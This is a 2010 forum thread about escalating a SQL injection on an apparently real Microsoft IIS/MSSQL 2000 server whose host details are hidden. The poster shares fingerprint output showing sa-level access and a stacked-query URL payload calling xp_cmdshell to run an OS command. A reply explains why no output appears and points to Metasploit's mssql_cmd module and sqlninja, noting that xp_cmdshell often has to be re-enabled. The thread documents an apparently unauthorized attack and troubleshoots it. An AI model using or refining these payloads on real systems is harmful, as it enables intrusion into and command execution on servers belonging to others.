 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 91
 Members: 0
 Total: 91
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Privilege escalation |
|
 Posted: Wed Nov 17, 2010 3:07 pm |
 |
|
| VERTIGO |
| Advanced user |
 |
|
| Joined: Sep 25, 2008 |
| Posts: 87 |
|
|
|
 |
|
 |
|
| Quote: | Host IP: hyde by me
Web Server: Microsoft-IIS/6.0
Powered-by: ASP.NET
DB Server: MSSQL 2000 with error
Current User: dbo
Sql Version: Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
May 3 2005 23:18:38
Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
Current DB: hyde by me
System User: sa
Host Name: hide by me
Server Name: hyde by me
Data Bases: master
tempdb
model
msdb
pubs
Northwind |
| Code: |
http://site.com/test.asp?ProdID=102;exec master..xp_cmdshell 'dir C:\' |
| Code: | | Page reload normal,what im doing wrong |
|
|
|
|
|
| Posted: Wed Nov 17, 2010 5:57 pm |
|
|
| tehanderson |
| Active user |
|
|
| Joined: Dec 23, 2009 |
| Posts: 33 |
|
|
|
|
|
|
|
| if you're trying to execute commands through sql-injection remember you won't get any output from that DIR C:\ command, and I suggest you not to do that manually but using something such as MSF mssql_cmd module or sql-ninja, which I prefer. |
|
|
|
|
| Posted: Wed Nov 17, 2010 7:10 pm |
|
|
| VERTIGO |
| Advanced user |
|
|
| Joined: Sep 25, 2008 |
| Posts: 87 |
|
|
|
|
|
|
|
| I know how goes by tool but i prefer to learn how is goes manuel |
|
|
|
|
| Posted: Wed Nov 17, 2010 11:13 pm |
|
|
| tehanderson |
| Active user |
|
|
| Joined: Dec 23, 2009 |
| Posts: 33 |
|
|
|
|
|
|
|
| Mostly you will have to re-enable xp_cmdshell on MSSQL 2005+ and sometime even in MSSQL 2000. Anyways, this is not easily done by hand, or at least it is quite tedious. I think you should read sql-ninja's source code to understand how it is done. |
|
|
|
|
| Posted: Thu Nov 18, 2010 1:08 pm |
|
|
| VERTIGO |
| Advanced user |
|
|
| Joined: Sep 25, 2008 |
| Posts: 87 |
|
|
|
|
|
|
|
| We will whait some advanced user to give oppinion also waraxe,i know that is hard but its good to talk abouth these theme and learn |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
